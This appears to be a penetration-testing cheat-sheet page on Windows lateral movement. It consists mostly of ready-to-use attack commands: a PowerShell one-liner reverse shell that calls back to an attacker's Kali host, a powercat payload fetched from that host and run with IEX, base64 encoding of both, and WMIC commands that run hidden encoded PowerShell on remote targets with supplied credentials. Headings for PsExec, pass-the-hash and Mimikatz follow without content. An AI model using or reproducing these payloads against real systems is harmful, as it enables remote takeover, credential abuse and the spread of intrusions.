Lateral Movement
Via Reverse Shells
Oneliner reverse shell:
$payload = '$client = New-Object System.Net.Sockets.TCPClient("<Kali IP>",<Listening Port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))Powercat reverse shell:
$payload = "IEX(New-Object System.Net.WebClient).DownloadString('http://<Kali IP>/powercat.ps1');powercat -c <Kali IP> -p <Listening Port> -e powershell"
$encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))WMI
On the Victime Machine:
wmic /node:<target IP> /user:<username> /password:<password> process call create "<payload>"
Execute payload
Example - wmic /node:<IP> /user:<username> /password:<password> process call create "cmd"
Example - $full_payload = "powershell -nop -w hidden -e $encodedPayload"
Example - wmic /node:<IP> /user:<username> /password:<password> process call create "$full_payload"Powershell
WINRS
PsExec
Passing the Hash
DCOM
SSH private keys
Mimikatz
Creating Users
Last updated